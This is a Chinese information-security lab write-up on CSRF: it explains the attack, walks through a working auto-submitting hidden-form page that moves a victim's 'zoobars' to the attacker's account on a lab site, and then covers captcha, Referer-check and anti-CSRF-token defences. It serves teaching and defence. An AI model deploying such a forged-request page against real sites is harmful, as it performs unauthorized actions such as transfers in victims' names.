信安实践——CSRF攻击与防御
1.实验原理
CSRF(Cross-Site Request Forgery,跨站点伪造请求)是一种网络攻击方式,该攻击可以在受害者毫不知情的情况下以受害者名义伪造请求发送给受攻击站点,从而在未授权的情况下执行在权限保护之下的操作,具有很大的危害性。具体来讲,可以这样理解CSRF攻击:攻击者盗用了你的身份,以你的名义发送恶意请求,对服务器来说这个请求是完全合法的,但是却完成了攻击者所期望的一个操作,比如以你的名义发送邮件、发消息,盗取你的账号,添加系统管理员,甚至于购买商品、虚拟货币转账等。
简单地说,CSRF攻击就是攻击者盗用了受害者的身份,在存在CSRF漏洞的网站上伪装成受害者进行操作。
CSRF攻击原理
以下介绍涉及4个实体:
- user: 一个普通的互联网用户
- webA: 一个受user信任的网站,但存在CSRF漏洞
- attacker: 利用CSRF漏洞的攻击者
- webB: 攻击者的网站
CSRF攻击步骤如下:
- user 访问 webA
- webA 的 cookie 未失效,如 user 未登出 webA,或未清除 webA 的 cookie 等
- user 访问 webB
- webB 利用 webA 的 cookie 伪装成 user 向 webA 发送请求
- webA 接受 webB 的请求,并根据请求携带的 cookie 认为 webB 是 user,执行请求
- CSRF攻击结束

2.模拟CSRF攻击
首先看一下可以被攻击的页面:

在正常的业务流程中,user(在这是 user 名为 lab3_v)可以在这个页面选择将自己的 zoobars 转移给其他用户,可以理解为极度简化版的银行转账流程。执行这一操作,只需要 user 输入 zoobars 数量和转账用户名。
查看此页面的 html 源代码,我们仅仅需要表单代码,如下:
<form method=POST name=transferform action="/transfer.php">
<p>Send <input name=zoobars type=text value="" size=5> zoobars</p>
<p>to <input name=recipient type=text value=""></p>
<input type=submit name=submission value="Send">
</form>
现在一个攻击者attacker,自己构建了一个网站,并且在自己的页面中写下如下代码,假设此页面的URL是 http://csrf.com/csrf.html:
<!DOCTYPE html>
<html lang="zh-cn">
<head>
<meta http-equiv="Content-Type" content="text/html;charset=UTF-8"/>
<title>CSRF Attack</title>
</head>
<body>
<iframe name="it" style="display:none" width="600px" height="450px"></iframe>
<form method="POST"
name="transferform"
action="http://myzoo.islab.com/transfer.php"
target="it"
id="transferform"
style="display:none">
<input name="zoobars" type="text" value="1" size="5">
<input name="recipient" type="text" value="lab3_a">
<input type="hidden" name="submission" value="Show Detil">
</form>
<h1>Hi,I'm lab3_a</h1>
<script type="text/javascript">
form = document.getElementById("transferform");
form.submit();
</script>
</body>
</html>
这段代码主要做的是:将 myzoo.islab.com/transfer.php 的表单页面复制过来,简单修改后将其隐藏,修改的地方主要是每次转移的 zoobars 数量以及转移用户,并在页面加载完毕后使用 js 模拟这个表单提交的事件。这样,就完成了 CSRF 攻击,接下来 attacker 要做的工作就是引导其他用户访问这个页面,只要有某个用户,其在 myzoo.islab.com 的 cookies 还有效,他的 zoobars 就会被转移到 attacker 。
比如,attacker 以用户名 lab3_a 登录 myzoo.islab.com,修改自己的主页的 profile 如下:
<a href=\'http://csrf.com/csrf.html\'>click me</a>
之后,如果其他用户,如 lab3_v 访问了 lab3_a 的主页,此时 lab3_v 有 10 个 zoobars, lab3_a 有 10 个 zoobars


之后, lab3_v 点击了 lab3_a 主页上的链接,则 lab3_v 会被引导至攻击页面,并被窃取了 zoobars。

此时 lab3_v 有 9 个 zoobars, lab3_a 有 11 个 zoobars


3.CSRF防御
(1) 验证码
使用验证码,强制用户必须与应用进行交互,才能完成最终请求。在通常情况下,验证码能很好遏制 CSRF 攻击。但是出于用户体验考虑,网站不能给所有的操作都加上验证码。因此验证码只能作为一种辅助手段,不能作为主要解决方案。此外,使用图像识别等方式也可以跳过验证码交互机制。
(2) Referer Check
Referer Check在Web最常见的应用就是"防止图片盗链"。同理,Referer Check也可以被用于检查请求是否来自合法的"源"(Referer值是否是指定页面,或者网站的域),如果都不是,那么就极可能是CSRF攻击。
但是因为服务器并不是什么时候都能取到Referer,所以也无法作为CSRF防御的主要手段。但是用Referer Check来监控CSRF攻击的发生,倒是一种可行的方法。
(3) CSRF Token
现在业界对CSRF的防御,一致的做法是使用一个Token(Anti CSRF Token)。
例子:
- 用户访问某个表单页面。
- 服务端生成一个Token,放在用户的Session中,或者浏览器的Cookie中。
- 在页面表单附带上Token参数。
- 用户提交请求后, 服务端验证表单中的Token是否与用户Session(或Cookies)中的Token一致,一致为合法请求,不是则非法请求。
这个Token的值必须是随机的,不可预测的。由于Token的存在,攻击者无法再构造一个带有合法Token的请求实施CSRF攻击。另外使用Token时应注意Token的保密性,尽量把敏感操作由GET改为POST,以form或AJAX形式提交,避免Token泄露。
信安实践——CSRF攻击与防御的更多相关文章
- CSRF——攻击与防御
CSRF——攻击与防御 author: lake2 0x01 什么是CSRF攻击 CSRF是Cross Site Request Forgery的缩写(也缩写为XSRF),直译过来就是跨站请求伪造的意 ...
- csrf 攻击和防御
CSRF概念:CSRF跨站点请求伪造(Cross—Site Request Forgery),跟XSS攻击一样,存在巨大的危害性,你可以这样来理解: 攻击者盗用了你的身份,以你的名义发送恶 ...
- CSRF攻击与防御(写得非常好)
转自:http://blog.csdn.net/stpeace/article/details/53512283 CSRF概念:CSRF跨站点请求伪造(Cross—Site Request Forge ...
- Web安全之CSRF攻击的防御措施
Web安全之CSRF攻击的防御措施 CSRF是什么? Cross Site Request Forgery,中文是:跨站点请求伪造. CSRF攻击者在用户已经登录目标网站之后,诱使用户访问一个攻击 ...
- 转!!CSRF攻击与防御(写得非常好)
CSRF概念:CSRF跨站点请求伪造(Cross—Site Request Forgery),跟XSS攻击一样,存在巨大的危害性,你可以这样来理解: 攻击者盗用了你的身份,以你的名义发送恶 ...
- csrf 攻击及防御
1.什么是CSRF攻击: CSRF(Cross-site request forgery),中文名称:跨站请求伪造,也被称为:one click attack/session riding,缩写为:C ...
- CSRF攻击与防御(转)
CSRF概念:CSRF跨站点请求伪造(Cross—Site Request Forgery),跟XSS攻击一样,存在巨大的危害性,你可以这样来理解: 攻击者盗用了你的身份,以你的名义发送 ...
- CSRF攻击与防御
CSRF是什么 CSRF在百度百科中是这么说的:“CSRF(Cross-site request forgery跨站请求伪造,也被称为“one click attack”或者session ridin ...
- 转-CSRF——攻击与防御
0x01 什么是CSRF攻击 CSRF是Cross Site Request Forgery的缩写(也缩写为XSRF),直译过来就是跨站请求伪造的意思,也就是在用户会话下对某个CGI做一些GET/PO ...
随机推荐
- linux-RPM 打包原理 SPEC 编写规范
一.编写spec脚本 由前面的日志了解到,生成rpm除了源码外,最重要的就是懂得编写.spec脚本.rpm建包的原理其实并不复杂,可以理解为按照标准的格式整理一些信息,包括:软件基础信息,以及安装.卸 ...
- 单调性优化DP
单调性优化DP Tags:动态规划 作业部落链接 一.概述 裸的DP过不了,怎么办? 通常会想到单调性优化 单调队列优化 斜率优化 决策单调性 二.题目 [x] 洛谷 P2120 [ZJOI2007] ...
- 矩阵类的python实现
科学计算离不开矩阵的运算.当然,python已经有非常好的现成的库:numpy. 我写这个矩阵类,并不是打算重新造一个轮子,只是作为一个练习,记录在此. 注:这个类的函数还没全部实现,慢慢在完善吧. ...
- 13-[函数进阶]-列表生成式,生成器&迭代器
1.列表生成式 Python一种独特的语法,相当于语法糖的存在,可以帮你在某些场合写出比较精简酷炫的代码.但没有它,也不会有太多的影响. 语法糖(Syntactic sugar),也译为糖衣语法,是由 ...
- #6472. 「ICPC World Finals 2017」难以置信的任务 Mission Improbable
可以简化一下问题,假设Patrick把箱子都拿走但是原来有箱子的位置留下一个,现在要放箱子使得每行每列最大值都满足,最少放多少个. 设第\(i\)行的最大值是\(H(i)\),第\(i\)列的是\(W ...
- java 继承类之后,访问不到超类的属性的原因及解决方法
是因为超类里的属性没有加上public关键字 解决方法: 超类和超类里的属性或者方法如果想被其他包下的方法调用,就必须全部加上public权限,即设置为公开访问 例: @Controller publ ...
- java对象是如何创建的
虚拟机遇到一条new指令时,首先将去检查这个指令的参数是否能在常量池中定位到一个类的符号引用,并且检查这个符合引用代表的类是否已被加载.解析和初始化过.如果没有,那必须先执行相应的类加载过程. 在类加 ...
- encodeURIComponent(URIstring)
函数可把字符串作为 URI 组件进行编码.
- iptables 生产环境下基础设置
iptables 生产环境下基础设置 生成环境需求:防火墙需要让内网的Ip全部通过,外网IP添加到白名单,其他一切拒绝.安装在linux系统中安装yum install iptables-servic ...
- x5webview 自定义全屏界面
集成X5WEBVIEW可以选择全屏模式为标准全屏还是x5全屏,而不设置默认为false. 首先看看标准全屏的基本设置, if (webView.getX5WebViewExtension() != n ...